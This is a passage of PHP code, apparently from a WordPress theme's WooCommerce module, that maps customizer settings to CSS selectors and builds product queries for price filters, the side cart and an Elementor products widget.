			'penci_woo_checkout_border_color'          => array(
				'border-color' => '.woocommerce table.shop_table tfoot td,.woocommerce table.shop_table tfoot th, body.woocommerce-order-received .woocommerce-order section,.woocommerce table.shop_table th,.woocommerce table.shop_table td',
			),
			'penci_woo_checkout_success_icon_color'    => array(
				'color' => 'body.woocommerce-order-received .woocommerce-order .woocommerce-notice:before',
			),
			'penci_woo_checkout_success_icon_bg_color' => array(
				'background-color' => 'body.woocommerce-order-received .woocommerce-order .woocommerce-notice:before',
			),
		);

		$sidecar_props = array(
			'penci_woo_section_sidebarcart_color'          => array(
				'color' => '.sidebar-cart-container',
			),
			'penci_woo_sidecart_bg_color'                  => array(
				'background-color' => '.penci-sidebar-cart',
			),
			'penci_woo_sidecart_heading_bg_color'          => array(
				'background-color' => '.penci-sidebar-cart .sidecart-heading',
			),
			'penci_woo_sidecart_heading_txt_color'         => array(
				'color' => '.penci-sidebar-cart .sidecart-heading h3',
			),
			'penci_woo_sidecart_product_title_color'       => array(
				'color' => '.woocommerce .sidebar-cart-container ul.cart_list li a, .woocommerce .sidebar-cart-container ul.product_list_widget li a',
			),
			'penci_woo_sidecart_product_title_hover_color' => array(
				'color' => '.woocommerce .sidebar-cart-container ul.cart_list li a:hover, .woocommerce .sidebar-cart-container ul.product_list_widget li a:hover',
			),
			'penci_woo_sidecart_border_color'              => array(
				'border-color' => '.woocommerce .sidebar-cart-container ul.cart_list li, .woocommerce .sidebar-cart-container ul.product_list_widget li',
			),
			'penci_woo_sidecart_price_color'               => array(
				'color' => '.woocommerce .sidebar-cart-container ul.cart_list li .amount, .woocommerce .sidebar-cart-container ul.product_list_widget li .amount',
			),
			'penci_woo_sidecart_pitem_bg_color'            => array(
				'background-color' => '.penci-sidebar-cart .sidecart-content ul li',
			),
			'penci_woo_sidecart_pitem_bg_hover_color'      => array(
				'background-color' => '.penci-sidebar-cart .sidecart-content ul li:hover',
			),
			'penci_woo_sidecart_pitem_bg_text_color'       => array(
				'color' => '.penci-sidebar-cart .sidecart-content ul li:hover,.woocommerce .sidecart-content ul.cart_list li a, .woocommerce .sidecart-content ul.product_list_widget li a',
			),
			'penci_woo_sidecart_accent_color'              => array(
				'color' => '.penci-sidebar-cart .woocommerce-mini-cart__total.total .amount',
			),
			'penci_woo_sidecart_heading_color'             => array(
				'color' => '.penci-sidebar-cart strong',
			),
			'penci_woo_sidecart_btn_color'                 => array(
				'background-color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button',
			),
			'penci_woo_sidecart_btn_text_color'            => array(
				'color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button',
			),
			'penci_woo_sidecart_btn_hover_color'           => array(
				'background-color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button:hover',
			),
			'penci_woo_sidecart_btn_text_hover_color'      => array(
				'color' => '.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons .button:hover',
			),
			'penci_woo_sidecart_footer_bgcolor'            => array(
				'background-color' => '.penci-sidebar-cart .woocommerce-mini-cart__total.total,.penci-sidebar-cart .woocommerce-mini-cart__buttons.buttons',
			),
			'penci_woo_notice_bg_color'                    => array(
				'background-color' => 'p.demo_store, .woocommerce-store-notice'
			),
			'penci_woo_notice_txt_color'                   => array(
				'color' => 'p.demo_store, .woocommerce-store-notice,p.demo_store a, .woocommerce-store-notice a'
			),
		);

		$extra_font_size = array(
			'pencidesign_woo_fontsize_pages_nav_font_size'          => array(
				'font-size' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span, .woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'pencidesign_woo_fontsize_pages_table_th'               => array(
				'font-size' => '.woocommerce table.shop_table th',
			),
			'pencidesign_woo_fontsize_pages_table_product_title'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-name a',
			),
			'pencidesign_woo_fontsize_pages_table_product_price'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_subtotal' => array(
				'font-size' => '.woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_quantity' => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .quantity .qty',
			),
			'pencidesign_woo_fontsize_pages_cart_total_h2'          => array(
				'font-size' => '.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2',
			),
			'pencidesign_woo_fontsize_pages_button'                 => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled],.woocommerce #respond .wc-proceed-to-checkout input#submit.alt, .woocommerce .wc-proceed-to-checkout a.button.alt, .woocommerce .wc-proceed-to-checkout button.button.alt, .woocommerce .wc-proceed-to-checkout input.button.alt',
			),
			'pencidesign_woo_fontsize_checkout_form_label'          => array(
				'font-size' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout label',
			),
			'pencidesign_woo_fontsize_checkout_form_input'          => array(
				'font-size' => '.woocommerce form .form-row input.input-text, .woocommerce form .form-row textarea, .woocommerce form .form-row select',
			),
			'pencidesign_woo_fontsize_checkout_order_heading'       => array(
				'font-size' => '.woocommerce form.checkout h3',
			),
			'pencidesign_woo_fontsize_checkout_order_button'        => array(
				'font-size' => '.woocommerce button.button.alt, body.woocommerce-checkout form.checkout.woocommerce-checkout button',
			),
		);

		$extra_font_size_m = array(
			'pencidesign_woo_fontsize_pages_nav_font_size_m'          => array(
				'font-size' => '.woocommerce .penci_woo_pages_breadcrumbs ul li span, .woocommerce .penci_woo_pages_breadcrumbs ul li a',
			),
			'pencidesign_woo_fontsize_pages_table_th_m'               => array(
				'font-size' => '.woocommerce table.shop_table th',
			),
			'pencidesign_woo_fontsize_pages_table_product_title_m'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-name a',
			),
			'pencidesign_woo_fontsize_pages_table_product_price_m'    => array(
				'font-size' => '.woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_subtotal_m' => array(
				'font-size' => '.woocommerce table.shop_table td.product-subtotal span',
			),
			'pencidesign_woo_fontsize_pages_table_product_quantity_m' => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .quantity .qty',
			),
			'pencidesign_woo_fontsize_pages_cart_total_h2_m'          => array(
				'font-size' => '.woocommerce .cart-collaterals .cart_totals h2, .woocommerce-page .cart-collaterals .cart_totals h2',
			),
			'pencidesign_woo_fontsize_pages_button_m'                 => array(
				'font-size' => '.woocommerce .woocommerce-cart-form .cart .button[name="apply_coupon"], .woocommerce .woocommerce-cart-form .cart button.button, .woocommerce .woocommerce-cart-form .cart button.button:disabled, .woocommerce .woocommerce-cart-form .cart button.button:disabled[disabled],.woocommerce #respond .wc-proceed-to-checkout input#submit.alt, .woocommerce .wc-proceed-to-checkout a.button.alt, .woocommerce .wc-proceed-to-checkout button.button.alt, .woocommerce .wc-proceed-to-checkout input.button.alt',
			),
			'pencidesign_woo_fontsize_checkout_form_label_m'          => array(
				'font-size' => 'body.woocommerce-checkout form.checkout.woocommerce-checkout label',
			),
			'pencidesign_woo_fontsize_checkout_form_input_m'          => array(
				'font-size' => '.woocommerce form .form-row input.input-text, .woocommerce form .form-row textarea, .woocommerce form .form-row select',
			),
			'pencidesign_woo_fontsize_checkout_order_heading_m'       => array(
				'font-size' => '.woocommerce form.checkout h3',
			),
			'pencidesign_woo_fontsize_checkout_order_button_m'        => array(
				'font-size' => '.woocommerce button.button.alt, body.woocommerce-checkout form.checkout.woocommerce-checkout button',
			),
		);

		$custom_product_color = array(
			'penci_woo_product_loop_title_color_reup'      => array(
				'color' => '  .upsells.products .woocommerce-loop-product__title.penci-loop-title a,
                              .upsells.products .penci-product-loop-title h3 a,
                              .upsells.products .products.product-style-7 .price,
                              .upsells.products .products.product-style-7 .penci-product-loop-title a,
                              .related.products .woocommerce-loop-product__title.penci-loop-title a,
                              .related.products .penci-product-loop-title h3 a,
                              .related.products .products.product-style-7 .price,
                              .related.products .products.product-style-7 .penci-product-loop-title a',
			),
			'penci_woo_product_loop_price_color_reup'      => array(
				'color' => '  .woocommerce .upsells.products div.product p.price ins,
                              .woocommerce .upsells.products div.product span.price ins,
                              .woocommerce .upsells.products div.product p.price,
                              .woocommerce .upsells.products div.product span.price,
                              .woocommerce .related.products div.product p.price ins,
                              .woocommerce .related.products div.product span.price ins,
                              .woocommerce .related.products div.product p.price,
                              .woocommerce .related.products div.product span.price',
			),
			'penci_woo_product_loop_cat_color_reup'        => array(
				'color' => '  .upsells.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a,
                              .related.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a',
			),
			'penci_woo_product_loop_cat_hover_color_reup'  => array(
				'color' => '  .upsells.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a:hover,
                              .related.products .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a:hover',
			),
			'penci_woo_product_loop_title_color_cross'     => array(
				'color' => ' .woocommerce .cross-sells .woocommerce-loop-product__title.penci-loop-title a,
                             .woocommerce .cross-sells .penci-product-loop-title h3 a,
                             .woocommerce .cross-sells .products.product-style-7 .price,
                             .woocommerce .cross-sells .products.product-style-7 .penci-product-loop-title a',
			),
			'penci_woo_product_loop_price_color_cross'     => array(
				'color' => ' .woocommerce .cross-sells div.product p.price ins,
                             .woocommerce .cross-sells div.product span.price ins,
                             .woocommerce .cross-sells div.product p.price,
                             .woocommerce .cross-sells div.product span.price',
			),
			'penci_woo_product_loop_cat_color_cross'       => array(
				'color' => ' .cross-sells .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a'
			),
			'penci_woo_product_loop_cat_hover_color_cross' => array(
				'color' => ' .cross-sells .products .penci-soledad-product .penci-product-loop-title .penci-product-cats a:hover'
			),
		);

		$font_family_settings = array(
			'penci_font_for_menu',
		);

		$woocommerce_default_color = array(
			'penci_woo_product_loop_progress_active_bg_color',
			'penci_product_page_general_link_hover_color',
			'penci_product_page_button_swatches_border_hover_color',
			'penci_product_page_button_swatches_bg_color',
			'penci_woo_page_button_bg_color',
			'penci_woo_page_button_alt_bg_hover_color',
		);

		$penci_default_body_font_size = array(
			'--pcs_fsp_general',
			'--pcs_fsp_tab_tt',
		);

		penci_woo_customizer_custom_css_rules( $product_customize_settings, $woocommerce_default_color, $font_family_settings, $penci_default_body_font_size );

		$cart_css           = penci_woo_customizer_custom_css_prop( $cart_page_props );
		$checkout_css       = penci_woo_customizer_custom_css_prop( $checkout_page_prop );
		$completed_page_css = penci_woo_customizer_custom_css_prop( $completed_page_prop );

		echo penci_woo_customizer_custom_css_prop( $sidecar_props );
		echo penci_woo_customizer_custom_css_prop( $extra_font_size );
		echo penci_woo_customizer_custom_css_prop( $extra_font_size_m );
		echo penci_woo_customizer_custom_css_prop( $custom_product_color );

		if ( is_cart() && $cart_css ) {
			echo $cart_css;
		}

		if ( is_checkout() && $checkout_css ) {
			echo $checkout_css;
		}

		if ( is_checkout() && ! empty( is_wc_endpoint_url( 'order-received' ) ) && $completed_page_css ) {
			echo $completed_page_css;
		}

		// Sidebar filter style.
		$filterwidget_margin              = get_theme_mod( 'pencidesign_woo_filter_widget_margin' );
		$filterwidget_heading_lowcase     = get_theme_mod( 'pencidesign_woo_filter_widget_heading_lowcase' );
		$filterwidget_heading_size        = get_theme_mod( 'pencidesign_woo_filter_widget_heading_size' );
		$filterwidget_heading_image_9     = get_theme_mod( 'pencidesign_woo_filter_widget_heading_image_9' );
		$filterwidget_heading9_repeat     = get_theme_mod( 'pencidesign_woo_filter_widget_heading9_repeat' );
		$filterwidget_remove_border_outer = get_theme_mod( 'pencidesign_woo_filter_widget_remove_border_outer' );
		$filterwidget_remove_arrow_down   = get_theme_mod( 'pencidesign_woo_filter_widget_remove_arrow_down' );

		if ( $filterwidget_margin ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .widget{ margin-bottom: ' . esc_attr( $filterwidget_margin ) . 'px; }';
			echo '.penci-sidebar-filter-widgets2{ margin-top: ' . esc_attr( $filterwidget_margin ) . 'px; }';
		}

		if ( $filterwidget_heading_lowcase ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow .inner-arrow{ text-transform: none; }';
		}

		if ( $filterwidget_heading_size ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow .inner-arrow { font-size: ' . $filterwidget_heading_size . 'px; }';
		}
		if ( $filterwidget_heading_image_9 ) {
			echo '.penci-sidebar-filter .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow { background-image: url(' . $filterwidget_heading_image_9 . '); }';
		}
		if ( $filterwidget_heading9_repeat ) {
			echo '.penci-sidebar-filter .penci-sidebar-content.style-8 .penci-border-arrow .inner-arrow{ background-repeat: ' . $filterwidget_heading9_repeat . '; background-size: auto; }';
		}
		if ( $filterwidget_remove_border_outer ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow:after { content: none; display: none; }
		.penci-sidebar-filter .penci-sidebar-content .widget-title{ margin-left: 0; margin-right: 0; margin-top: 0; }
		.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow:before{ bottom: -6px; border-width: 6px; margin-left: -6px; }';
		}

		if ( $filterwidget_remove_arrow_down ) {
			echo '.penci-sidebar-filter .penci-sidebar-content .penci-border-arrow:before, .penci-sidebar-content.style-2 .penci-border-arrow:after { content: none; display: none; }';
		}

		// Loading Icon
		$circle_loading_cl1 = get_theme_mod( 'penci_woo_loading_cl1' );
		$circle_loading_cl2 = get_theme_mod( 'penci_woo_loading_cl2' );

		if ( $circle_loading_cl1 ) {
			echo '.woocommerce a.button.loading:before, .woocommerce button.button.loading:before, .woocommerce input.button.loading:before, .woocommerce #respond input#submit.loading:before, .woocommerce a.button.loading:after, .woocommerce button.button.loading:after, .woocommerce input.button.loading:after, .woocommerce #respond input#submit.loading:after{ border-right-color: ' . $circle_loading_cl1 . '; border-bottom-color: ' . $circle_loading_cl1 . '; }';
		}

		if ( $circle_loading_cl2 ) {
			echo '.woocommerce a.button.loading:before, .woocommerce button.button.loading:before, .woocommerce input.button.loading:before, .woocommerce #respond input#submit.loading:before, .woocommerce a.button.loading:after, .woocommerce button.button.loading:after, .woocommerce input.button.loading:after, .woocommerce #respond input#submit.loading:after{ border-right-color: ' . $circle_loading_cl2 . '; border-bottom-color: ' . $circle_loading_cl2 . '; }';
		}

		$product_cat_overlay = get_theme_mod( 'penci_woo_section_product_cat_loop_overlay_color' );
		if ( $product_cat_overlay ) {
			echo 'body{--pcl_l_cat_o_cl_rgba: linear-gradient(0deg, ' . penci_woo_hex2rgb( $product_cat_overlay, 1 ) . ' 0%, ' . penci_woo_hex2rgb( $product_cat_overlay, 0.5 ) . ' 50%, rgba(255,255,255,0) 100%);}';
		}
	}
}


if ( ! function_exists( 'penci_is_layered_nav_active' ) ) {
	add_filter( 'woocommerce_is_layered_nav_active', 'penci_is_layered_nav_active' );
	function penci_is_layered_nav_active() {
		return is_active_widget( false, false, 'soledad-product-filter', true );
	}
}

if ( ! function_exists( 'penci_is_layered_price_active' ) ) {
	add_filter( 'woocommerce_is_price_filter_active', 'penci_is_layered_price_active' );
	function penci_is_layered_price_active() {
		$result = is_active_widget( false, false, 'soledad-price-filter', true );
		if ( ! $result ) {
			$result = apply_filters( 'penci_use_custom_price_widget', true );
		}

		return $result;
	}
}

if ( ! function_exists( 'penci_get_filtered_price_new' ) ) {
	function penci_get_filtered_price_new() {
		global $wpdb;

		if ( ! is_shop() && ! is_product_taxonomy() ) {
			$sql = "
			SELECT min( FLOOR( min_price ) ) as min_price, MAX( CEILING( max_price ) ) as max_price
			FROM {$wpdb->wc_product_meta_lookup}";

			return $wpdb->get_row( $sql );
		}

		$args       = WC()->query->get_main_query()->query_vars;
		$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
		$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

		if ( ! is_post_type_archive( 'product' ) && ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
			$tax_query[] = array(
				'taxonomy' => $args['taxonomy'],
				'terms'    => array( $args['term'] ),
				'field'    => 'slug',
			);
		}

		foreach ( $meta_query + $tax_query as $key => $query ) {
			if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
				unset( $meta_query[ $key ] );
			}
		}

		$meta_query = new WP_Meta_Query( $meta_query );
		$tax_query  = new WP_Tax_Query( $tax_query );
		$search     = WC_Query::get_main_search_query_sql();

		$meta_query_sql   = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
		$tax_query_sql    = $tax_query->get_sql( $wpdb->posts, 'ID' );
		$search_query_sql = $search ? ' AND ' . $search : '';

		$sql = "
			SELECT min( min_price ) as min_price, MAX( max_price ) as max_price
			FROM {$wpdb->wc_product_meta_lookup}
			WHERE product_id IN (
				SELECT ID FROM {$wpdb->posts}
				" . $tax_query_sql['join'] . $meta_query_sql['join'] . "
				WHERE {$wpdb->posts}.post_type IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_post_type', array( 'product' ) ) ) ) . "')
				AND {$wpdb->posts}.post_status = 'publish'
				" . $tax_query_sql['where'] . $meta_query_sql['where'] . $search_query_sql . '
			)';

		$sql = apply_filters( 'woocommerce_price_filter_sql', $sql, $meta_query_sql, $tax_query_sql );

		return $wpdb->get_row( $sql ); // WPCS: unprepared SQL ok.
	}
}

if ( ! function_exists( 'penci_sidecart_nav' ) ) {
	add_action( 'wp_footer', 'penci_sidecart_nav', 10 );
	function penci_sidecart_nav() {
		if ( 'dropdown' != get_theme_mod( 'penci_woo_cart_style' ) ) {
			wc_get_template_part( 'global/side-cart' );
		}
	}
}

if ( ! function_exists( 'penci_get_product_ids_on_sale' ) ) {
	function penci_get_product_ids_on_sale() {
		$data_store          = WC_Data_Store::load( 'product' );
		$on_sale_products    = $data_store->get_on_sale_products();
		$product_ids_on_sale = wp_parse_id_list( array_merge( wp_list_pluck( $on_sale_products, 'id' ), array_diff( wp_list_pluck( $on_sale_products, 'parent_id' ), array( 0 ) ) ) );

		return $product_ids_on_sale;
	}
}

if ( ! function_exists( 'penci_get_product_ids_on_viewed' ) ) {
	function penci_get_product_ids_on_viewed() {
		return isset( $_COOKIE['penci_product_viewed_ids'] ) && $_COOKIE['penci_product_viewed_ids'] ? json_decode( $_COOKIE['penci_product_viewed_ids'], true ) : [];
	}
}

if ( ! function_exists( 'penci_elementor_products_template' ) ) {
	function penci_elementor_products_template( $settings, $preloader = '' ) {
		$classes  = array();
		$settings = wp_parse_args( $settings, penci_custom_product_query_default_args() );

		$paged = get_query_var( 'paged' ) ? get_query_var( 'paged' ) : 1;
		if ( isset( $_GET['product-page'] ) ) { // phpcs:ignore
			$paged = wc_clean( wp_unslash( $_GET['product-page'] ) ); // phpcs:ignore
		}

		// Query settings.
		$ordering_args = WC()->query->get_catalog_ordering_args( $settings['orderby'], $settings['order'] );

		$query_args = array(
			'post_type'           => 'product',
			'post_status'         => 'publish',
			'ignore_sticky_posts' => 1,
			'paged'               => $paged,
			'orderby'             => $ordering_args['orderby'],
			'order'               => $ordering_args['order'],
			'posts_per_page'      => $settings['items_per_page'],
			'meta_query'          => WC()->query->get_meta_query(), // phpcs:ignore
			'tax_query'           => WC()->query->get_tax_query(), // phpcs:ignore
		);

		if ( 'new' === $settings['post_type'] ) {
			$new_label = get_theme_mod( 'penci_woo_label_new_product', true );
			$days      = get_theme_mod( 'penci_woo_label_new_product_period', 7 );
			if ( $new_label && $days ) {
				$query_args['date_query'] = array(
					'after' => date( 'Y-m-d', strtotime( '-' . $days . ' days' ) ),
				);
			} else {
				$query_args['meta_query'][] = array(
					array(
						'key'     => 'penci_pmeta_product_extra_options',
						'value'   => '"permanent_new_label";s:1:"1"',
						'compare' => 'LIKE',
					),
				);
			}
		}

		if ( isset( $settings['search_query'] ) && ! empty( $settings['search_query'] ) ) {
			$query_args['s'] = esc_attr( $settings['search_query'] );
		}

		if ( $ordering_args['meta_key'] ) {
			$query_args['meta_key'] = $ordering_args['meta_key']; // phpcs:ignore
		}
		if ( $settings['meta_key'] ) {
			$query_args['meta_key'] = $settings['meta_key']; // phpcs:ignore
		}
		if ( 'ids' === $settings['post_type'] && $settings['include'] ) {
			$query_args['post__in'] = $settings['include'];
		}
		if ( $settings['exclude'] ) {
			$query_args['post__not_in'] = $settings['exclude'];
		}
		if ( $settings['taxonomies'] ) {
			$taxonomy_names = get_object_taxonomies( 'product' );
			$terms          = get_terms( $taxonomy_names, array(
				'orderby'    => 'name',
				'include'    => $settings['taxonomies'],
				'hide_empty' => false,
			) );

			if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
				if ( 'featured' === $settings['post_type'] ) {
					$query_args['tax_query'] = [ 'relation' => 'AND' ]; // phpcs:ignore
				}

				$relation = $settings['query_type'] ? $settings['query_type'] : 'OR';
				if ( count( $terms ) > 1 ) {
					$query_args['tax_query']['categories'] = array( 'relation' => $relation );
				}

				foreach ( $terms as $term ) {
					$query_args['tax_query']['categories'][] = array(
						'taxonomy'         => $term->taxonomy,
						'field'            => 'slug',
						'terms'            => array( $term->slug ),
						'include_children' => true,
						'operator'         => 'IN',
					);
				}
			}
		}
		if ( 'featured' === $settings['post_type'] ) {
			$query_args['tax_query'][] = array(
				'taxonomy'         => 'product_visibility',
				'field'            => 'name',
				'terms'            => 'featured',
				'operator'         => 'IN',
				'include_children' => false,
			);
		}
		if ( apply_filters( 'penci_hide_out_of_stock_items', false ) && 'yes' === get_option( 'woocommerce_hide_out_of_stock_items' ) ) {
			$query_args['meta_query'][] = array(
				'key'     => '_stock_status',
				'value'   => 'outofstock',
				'compare' => 'NOT IN',
			);
		}
		if ( $settings['order'] ) {
			$query_args['order'] = $settings['order'];
		}
		if ( $settings['offset'] ) {
			$query_args['offset'] = $settings['offset'];
		}
		if ( 'sale' === $settings['post_type'] ) {

			$query_args['post__in'] = array_merge( array( 0 ), penci_get_product_ids_on_sale() );
		}
		if ( 'bestselling' === $settings['post_type'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = 'total_sales'; // phpcs:ignore
			$query_args['order']    = 'DESC';
		}

		WC()->query->remove_ordering_args();

		if ( isset( $_GET['orderby'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$element_orderby = wc_clean( wp_unslash( $_GET['orderby'] ) ); // phpcs:ignore

			if ( 'date' === $element_orderby ) {
				$query_args['orderby'] = 'date';
				$query_args['order']   = 'DESC';
			} elseif ( 'price-desc' === $element_orderby ) {
				$query_args['orderby'] = 'price';
				$query_args['order']   = 'DESC';
			} else {
				$query_args['orderby'] = $element_orderby;
				$query_args['order']   = 'ASC';
			}
		}

		if ( 'price' === $query_args['orderby'] ) {
			$query_args['orderby']  = 'meta_value_num';
			$query_args['meta_key'] = '_price'; // phpcs:ignore
		}

		if ( isset( $_GET['per_page'] ) && $settings['header_tools'] ) { // phpcs:ignore
			$query_args['posts_per_page'] = wc_clean( wp_unslash( $_GET['per_page'] ) ); // phpcs:ignore
		}

		if ( isset( $settings['product_type'] ) && in_array( $settings['product_type'], array(
				'day',
				'week',
				'month',
			) ) ) {
			$date = '+1 day';
			if ( $settings['product_type'] == 'week' ) {
				$date = '+7 day';
			} elseif ( $settings['product_type'] == 'month' ) {
				$date = '+1 month';
			}
			$query_args['meta_query'] = apply_filters( 'penci_product_deals_meta_query', array_merge( WC()->query->get_meta_query(), array(
				array(
					'key'     => '_deal_quantity',
					'value'   => 0,
					'compare' => '>',
				),
				array(
					'key'     => '_sale_price_dates_to',
					'value'   => 0,
					'compare' => '>',
				),
				array(
					'key'     => '_sale_price_dates_to',
					'value'   => strtotime( $date ),
					'compare' => '<=',
				),
			) ) );
		} elseif ( isset( $settings['product_type'] ) && $settings['product_type'] == 'deals' ) {
			$query_args['meta_query'] = apply_filters( 'penci_product_deals_meta_query', array_merge( WC()->query->get_meta_query(), array(
				array(
					'key'     => '_deal_quantity',
					'value'   => 0,
					'compare' => '>',
				),
			) ) );
		}

		if ( 'recent_viewed' === $settings['post_type'] ) {
			$query_args['post__in'] = array_merge( array( 0 ), penci_get_product_ids_on_viewed() );
		}

		if ( 'top_rated_products' === $settings['post_type'] ) {
			add_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
			$products = new WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
			remove_filter( 'posts_clauses', 'penci_order_by_rating_post_clauses' );
		} else {
			$products = new WP_Query( apply_filters( 'penci_product_element_query_args', $query_args ) );
		}

		// Element settings.
		if ( 'inherit' === $settings['product_style'] ) {
			$settings['product_style'] = get_theme_mod( 'penci_woocommerce_product_style', 'style-1' );
		}

		$product_style = 'list' === $settings['layout'] ? 'list' : $settings['product_style'];

		if ( $settings['elementor'] ) {
			$columns = isset( $settings['columns']['size'] ) && $settings['columns']['size'] ? $settings['columns']['size'] : 4;
		} else {
			$columns = isset( $settings['columns'] ) && $settings['columns'] ? $settings['columns'] : 4;
		}

		$columns = 'list' === $settings['layout'] ? 1 : $columns;

		$data_attr = array();

		if ( 'carousel' === $settings['layout'] ) {
			if ( $settings['elementor'] ) {
				$slides_per_view = isset( $settings['slides_per_view']['size'] ) && $settings['slides_per_view']['size'] ? $settings['slides_per_view']['size'] : 4;
				$tablet_items    = isset( $settings['slides_per_view_tablet']['size'] ) && ! empty( $settings['slides_per_view_tablet']['size'] ) ? $settings['slides_per_view_tablet']['size'] : 2;
				$mobile_items    = isset( $settings['slides_per_view_mobile']['size'] ) && ! empty( $settings['slides_per_view_mobile']['size'] ) ? $settings['slides_per_view_mobile']['size'] : 1;
			} else {
				$slides_per_view = isset( $settings['columns'] ) && $settings['columns'] ? $settings['columns'] : 4;
				$tablet_items    = isset( $settings['tablet_columns'] ) && $settings['tablet_columns'] ? $settings['tablet_columns'] : 2;
				$mobile_items    = isset( $settings['mobile_columns'] ) && $settings['mobile_columns'] ? $settings['mobile_columns'] : 1;
			}

			$spacing_item = isset( $settings['product_horizontal_spacing']['size'] ) ? $settings['product_horizontal_spacing']['size'] : 30;
			$lazy         = isset( $settings['scroll_carousel_init'] ) ? $settings['scroll_carousel_init'] : true;

			$speed           = $settings['speed'] ? $settings['speed'] : 500;
			$scroll_per_page = 'true' == $settings['scroll_per_page'] ? $slides_per_view : 1;
			$data_attr[]     = 'data-speed=\'' . $speed . '\'';
			$data_attr[]     = 'data-item=\'' . $slides_per_view . '\'';
			$data_attr[]     = 'data-desktop=\'' . $slides_per_view . '\'';
			$data_attr[]     = 'data-tablet=\'' . $tablet_items . '\'';
			$data_attr[]     = 'data-tabsmall=\'' . $tablet_items . '\'';
			$data_attr[]     = 'data-mobile=\'' . $mobile_items . '\'';
			$data_attr[]     = 'data-loop=\'' . $settings['wrap'] . '\'';
			$data_attr[]     = 'data-auto=\'' . $settings['autoplay'] . '\'';
			$data_attr[]     = 'data-dots=\'' . $settings['hide_pagination_control'] . '\'';
			$data_attr[]     = 'data-nav=\'' . $settings['hide_prev_next_buttons'] . '\'';
			$data_attr[]     = 'data-lazy=\'' . $lazy . '\'';
			$data_attr[]     = 'data-margin=\'' . $spacing_item . '\'';
			$columns         = $slides_per_view;
		}

		wc_set_loop_prop( 'product_loop_style', $product_style );
		wc_set_loop_prop( 'columns', $columns );

		// Loop settings.
		wc_set_loop_prop( 'products_view', $settings['layout'] );
		wc_set_loop_prop( 'total', $products->found_posts );
		wc_set_loop_prop( 'total_pages', $products->max_num_pages );
		wc_set_loop_prop( 'current_page', $products->query['paged'] );
		wc_set_loop_prop( 'is_shortcode', true );
		wc_set_loop_prop( 'name', isset( $settings['loop_name'] ) ? $settings['loop_name'] : 'custom' );

		wc_set_loop_prop( 'product_loop_icon_style', $settings['icon_style'] );
		wc_set_loop_prop( 'product_loop_icon_position', $settings['icon_position'] );
		wc_set_loop_prop( 'product_loop_icon_animation', $settings['icon_animation'] );
		wc_set_loop_prop( 'product_round_style', penci_shop_product_round_style( $settings['icon_style'], $settings['icon_position'] ) );
		wc_set_loop_prop( 'stock_progress_bar', (boolean) $settings['stock_progress_bar'] );
		wc_set_loop_prop( 'img_size', $settings['img_size'] );
		wc_set_loop_prop( 'pagination', $settings['pagination'] );
		wc_set_loop_prop( 'loop_rating', $settings['product_rating'] );
		wc_set_loop_prop( 'loop_categories', $settings['product_categories'] );
		wc_set_loop_prop( 'layout', $settings['layout'] );

		wc_set_loop_prop( 'penci_woo_settings', wp_json_encode( array_intersect_key( $settings, penci_custom_product_query_default_args() ) ) );

		$classes[] = 'product-style-' . $product_style;
		$classes[] = 'product-layout-' . $settings['layout'];


		$classes[]    = 'woocommerce elementor-products';
		$unique_class = $settings['title'] ? md5( $settings['title'] ) : 'default';
		$unique_class = 'products-' . $unique_class . '-section';
		$classes[]    = $unique_class;
		$classes[]    = $settings['class'] ? $settings['class'] : '';
		$classes[]    = $settings['pagination'];

		if ( 'pagination' !== $settings['pagination'] ) {
			wp_enqueue_script( 'infinite-scroll' );
		}

		$section_id = 'penci-products-' . wp_rand( 0, 99999 );
		wc_set_loop_prop( 'loopid', $section_id );


		$loop_wrapper_classes   = array();
		$loop_wrapper_classes[] = penci_woocommerce_get_product_loop_class();
		$loop_wrapper_classes[] = 'products mobile-columns-' . wc_get_loop_prop( 'mobile-columns', 2 );
		$loop_wrapper_classes[] = 'columns-' . esc_attr( $columns );

		if ( 'carousel' === $settings['layout'] ) {
